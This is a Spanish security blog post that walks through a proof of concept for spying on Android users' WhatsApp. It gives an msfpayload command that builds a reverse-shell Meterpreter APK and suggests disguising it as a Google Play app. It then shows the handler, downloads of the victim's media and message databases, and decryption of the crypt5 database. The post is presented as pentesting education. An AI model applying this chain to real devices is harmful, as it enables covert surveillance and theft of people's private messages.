Facebook ha comprado
WhatsApp y con ello todo lo bueno y malo que tiene esta aplicación. Lo bueno es algo sencillo de entender y es que tener más de
500 millones de usuarios es algo importante para la firma, pero también se lleva todos los problemas de seguridad que desde hace años van arrastrando a golpe de parche, aunque siguen
apareciendo nuevos fallos en el cifrado y fugas de información que dejan ver
tú número de teléfono, la ubicación donde estás o
la dirección IP desde la que estás conectado. Además, hace algunas semanas se ha golpeado con mucha fuerza la aplicación de mensajería instantánea.
Sabemos que existen muchos métodos para
espiar WhatsApp, aunque semanas atrás salió a la luz el
método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en
Android es sencillo, ya que se almacenan en la
SDCard del dispositivo, pero también pueden sacarse
de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de
si hay jailbreak o no, si hay SSH por defecto, y del
tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un
hacking a dispositivos iPhone completo.
Alejandro Ramos (
@aramosf) liberó un
script en Python dónde teniendo la base de datos cifrada y el usuario de
Gmail utilizado en el dispositivo
Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio
Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada.
|
Figura 1: Script de descifrado de bases de datos Crypt5 de WhatsApp |
¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es
aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo
cbc,
cipher block chaining, aplica a cada bloque de texto plano un
XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.
PoC: El llamado Wonderland
En algunos ámbitos
Meterpreter, una famosa
shellcode utilizada por muchos
pentesters en el maravilloso framework de explotación Metasploit, es conocido como
Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta
shellcode en un dispositivo móvil es
robar la base de datos de WhatsApp, y después descifrarla.
Lo primero es conseguir ejecutar
Meterpreter en un dispositivo
Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por
Google Play, ¿En serio?
En esta vida todo es probar, y como ya ha explicado
Sergio de los Santos hay un ecosistema de
Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un
Meterpreter. Además, hemos visto que hay
peleas por hacer fakes app de WhatsApp, que hay quién
se ha dado de alta como Apple Inc, los que se dedican a hacer
estafas de SMS Premium como la de la Linterna Molona y cibercriminales que
roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!
|
Figura 2: Fakes App de un supuesto Apple Inc en Google Play |
La primera vía sería utilizar la herramienta
msfpayload para generar un
APK instalable en los dispositivos
Android, pero este
APK no podrá ser subido a
Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un
APK para
Android que ejecute una
Meterpreter inversa:
msfpayload android/meterpreter/reverse_tcp LHOST=[dirección IP a la que se conecta la shellcode] LPORT=[puerto a la que se conecta] R > nombre_fichero.apk
|
Figura 2: Creando una APK con un Meterpreter |
La otra vía sería desarrollar una
APK que pida órdenes, por ejemplo, mediante un
XML y que al recibir una instrucción maliciosa en ese
XML se conecte a un servidor dónde le esperaremos para otorgarle un
JAR, dónde empaquetado se encuentre la
shellcode de
Meterpreter. Este
JAR se puede ejecutar dentro del
provider de la
app que la víctima descarga del
Google Play. ¿En serio? Sigamos adelante…
Ahora una vez que tenemos de alguna de las dos formas preparadas la
APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el
JAR con la
shellcode. Para ello utilizamos la herramienta del
framework de
Metasploit denominada
msfconsole, tal y como se puede ver en la imagen.
|
Figura 4: Usando msfconsole de Metasploit desde un Kali Linux |
Tras ejecutar la instrucción
exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el
JAR que completará la segunda
stage de la ejecución de la
shell Meterpreter.
En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la
APK sea distribuida a través de un
market, y si es oficial el desastre sería mayor.
|
Figura 5: Stage 2. Se devuelve el JAR con la shell Meterpreter |
Ahora podemos realizar diversas acciones con esta
shellcode Meterpreter dentro del dispositivo. Sin ser
root se puede, siempre y cuando la
APK que ha conseguido colar la
shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un
streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo.
Si abrimos una
shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la
app pueda, ya que no somos
root. La
SDCard es uno de los puntos donde podemos aprovecharnos de no ser
root y encontrar información muy interesante.
|
Figura 6: Ejecutando comandos en el sistema |
Al ejecutar un
ls podemos encontrar la carpeta de
WhatsApp y todo lo que hay dentro de la
SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de
WhatsApp, ahora mismo estamos en la ruta
/sdcard/WhatsApp podemos encontrar los siguientes elementos:
backups,
databases,
media y
profile pictures.
Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra
shellcode podría descargarlo a nuestro equipo.
|
Figura 7: El contenido transmitido por WhatsApp |
En la imagen se ve
/storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como
/sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente?
Meterpreter proporciona un comando para realizar descargas de archivos, este comando es
download, y su sintaxis es
download [origen] [destino].
En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la
SDCard.
|
Figura 8: Descargando las imágenes enviadas por WhatsApp |
Para llevar a cabo la operativa con las bases de datos con los mensajes de
WhatsApp es exactamente igual, solo que la instrucción en este caso sería
download /sdcard/WhatsApp/Databases/[nombre base de datos][destino máquina local].
|
Figura 9: Las bases de datos de WhatsApp en Android cifradas con crypt5 |
Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el
script que comentábamos al principio para
descifrar la base de datos crypt5. El
script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.
|
Figura 10: Descifrando la base de datos crypt5 de WhatsApp |
Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos
SQLite3, por ejemplo el
add-on de Mozilla Firefox denominado
SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.
|
Figura 11: La base de datos SQLite de WhatsApp vista en SQLite Manager |
Además, una vez que tienes los mensajes, el siguiente paso sería
recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de
Recuperar mensajes de WhatsApp borrados.
Autor: Pablo González
Twitter: @PabloGonzalezPe